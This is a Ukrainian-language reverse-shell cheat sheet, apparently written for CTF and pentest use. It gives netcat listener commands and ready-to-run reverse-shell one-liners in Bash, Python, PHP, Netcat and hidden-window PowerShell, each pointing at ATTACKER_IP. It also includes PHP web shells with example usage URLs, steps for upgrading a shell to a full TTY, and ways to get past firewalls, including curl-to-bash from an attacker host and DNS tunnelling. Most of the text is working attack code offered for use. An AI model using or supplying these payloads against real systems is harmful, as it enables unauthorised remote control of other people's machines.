Що таке Reverse Shell?
У звичайному сценарії атакуючий підключається до жертви (bind shell). Але найчастіше на жертві є firewall, який блокує вхідні з'єднання.
Reverse shell вирішує цю проблему: жертва сама підключається до атакуючого. Вихідні з'єднання зазвичай не блокуються — і shell «виходить» назовні.
Bind shell: Атакуючий → (blocked) → Жертва
Reverse shell: Атакуючий ← Жертва
Підготовка: запуск listener
Перш ніж отримати reverse shell — запустіть listener на своїй машині:
# Netcat
nc -lvnp 4444
# Rlwrap для кращого TTY (стрілки, Ctrl+C)
rlwrap nc -lvnp 4444
Порт 4444 — стандарт для CTF, але можна будь-який. На реальному пентесті 80/443 — менш підозрілі.
Одно-рядкові reverse shells
Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Альтернатива через /bin/sh
sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Якщо перший не працює
exec 5<>/dev/tcp/ATTACKER_IP/4444; cat <&5 | while read line; do $line 2>&5 >&5; done
Python
# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Python 2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'
PHP
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# Якщо є можливість завантажити файл
<?php system($_GET['cmd']); ?>
Netcat
# Класичний (якщо є -e)
nc ATTACKER_IP 4444 -e /bin/bash
# Без -e (busybox або mkfifo)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f
PowerShell (Windows)
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Апгрейд shell до повноцінного TTY
Після отримання shell він часто «сирий» — без Tab-completion, без Ctrl+C, без стрілок.
# Крок 1: spawn PTY через Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Крок 2: Ctrl+Z (background shell)
# Крок 3: На своїй машині
stty raw -echo; fg
# Крок 4: У shell жертви
export TERM=xterm
stty rows 38 columns 116
Веб-шелли
Якщо є можливість завантажити файл на веб-сервер:
<!-- Простий webshell -->
<?php echo shell_exec($_GET['cmd']); ?>
<!-- Використання -->
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=which+nc
Після отримання RCE через webshell — запускаємо reverse shell командою з таблиці вище.
Генератор: RevShells
Сайт revshells.com генерує команди під будь-яку мову та ОС — просто введіть IP і порт.
Обхід обмежень
# Якщо блокується /dev/tcp — спробуйте curl/wget
curl http://ATTACKER:8080/shell.sh | bash
# Якщо блокується виходячий трафік — спробуйте порти 80, 443, 53
nc ATTACKER_IP 443 -e /bin/bash
# DNS reverse shell (для обходу жорстких firewall)
# Через dnscat2 або iodine